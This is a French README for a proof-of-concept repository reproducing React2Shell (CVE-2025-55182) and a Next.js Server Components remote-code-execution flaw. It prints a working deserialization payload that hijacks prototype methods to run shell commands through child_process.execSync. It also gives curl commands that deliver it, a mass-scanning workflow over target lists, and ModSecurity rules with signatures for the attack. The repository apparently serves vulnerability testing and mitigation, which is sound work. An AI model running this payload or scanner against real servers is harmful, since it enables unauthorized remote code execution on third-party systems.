
MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478). Inclut une charge utile d'exploitation, un script de scan par lots et des règles ModSecurity WAF pour l'atténuation.
Ceci est un MVP minimal pour reproduire les vulnérabilités React2Shell (CVE-2025-55182) et Next.js RSC RCE (CVE-2025-66478).
Ce projet est destiné uniquement à des fins de recherche et d'éducation en sécurité. Ne l'utilisez pas en production ou sur des systèmes non autorisés.
CVE-2025-55182 est une vulnérabilité critique dans les React Server Components, affectant :
Un attaquant peut exploiter une vulnérabilité de désérialisation dans le Flight Protocol via une requête multipart/form-data spécialement conçue, permettant une exécution de code à distance (RCE).
$@N pour obtenir un objet Chunk interne$1:__proto__:then_formData.get en constructeur Functionnpm install
# ou
yarn install
# ou
pnpm install
npm run dev
Le serveur démarrera sur http://localhost:3000.
Utilisez le script de test fourni :
# Test sur une cible unique
./test-exploit.sh http://localhost:3000
# Ou directement avec curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
Si la vulnérabilité est présente, vous verrez une sortie similaire à uid= (résultat de la commande id).
.
├── app/
│ ├── actions.ts # Actions serveur (point de déclenchement de la vulnérabilité)
│ ├── page.tsx # Page principale
│ ├── layout.tsx # Mise en page
│ └── globals.css # Styles globaux
├── package.json # Configuration des dépendances (versions affectées)
├── next.config.js # Configuration Next.js
├── test-exploit.sh # Script de test de vulnérabilité pour une cible unique
├── scan-targets.sh # Script de scan en masse
├── exploit-payload.txt # Fichier de charge utile de l'exploit
├── Cve-2025-55182-modsecurity-rules.conf # Règles de protection ModSecurity
└── README.md # Ce fichier
Teste si une URL unique présente la vulnérabilité :
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
Signature : si la réponse contient uid= ou gid=, la vulnérabilité est présente.
Scanne plusieurs URL cibles en masse :
# Créer le fichier de liste des cibles
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# Exécuter le scan en masse
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
Les résultats du scan sont sauvegardés dans vulnerable_hosts.csv.
{
"then": "$1:__proto__:then", // Détournement de la méthode then
"status": "resolved_model", // Contrôle du chemin d'exécution
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // Déclenche la désérialisation Blob
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // Détournement en Function
}
}
}
npm install [email protected] [email protected] [email protected]
Si la mise à niveau immédiate n'est pas possible, déployez les règles ModSecurity pour une atténuation temporaire.
# 1. Installer mod_security
sudo apt-get install libapache2-mod-security2
# 2. Copier le fichier de règles
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. Inclure les règles dans la configuration Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Ajouter : Include /etc/modsecurity/modsecurity-rules.conf
# 4. Redémarrer Apache
sudo systemctl restart apache2
# 1. Installer ModSecurity pour Nginx
sudo apt-get install libnginx-mod-security
# 2. Copier le fichier de règles
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. Activer dans la configuration Nginx
sudo vim /etc/nginx/nginx.conf
# Dans le bloc http ou server, ajouter :
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. Redémarrer Nginx
sudo systemctl restart nginx
Les règles ModSecurity intercepteront les signatures suivantes :
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ Remarque : Les règles WAF ne sont qu'une mesure d'atténuation temporaire et n'offrent pas une protection complète. La mise à niveau vers une version corrigée est nécessaire.
Si votre application est potentiellement affectée :
test-exploit.sh pour tester votre applicationNext-Action suspectesSi vous souhaitez tester directement avec curl (sans script) :
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
Si le résultat contient uid= ou gid=, la vulnérabilité est présente.
Ce projet est destiné uniquement à des fins éducatives. Veuillez respecter les lois applicables lors de l'utilisation de ce code.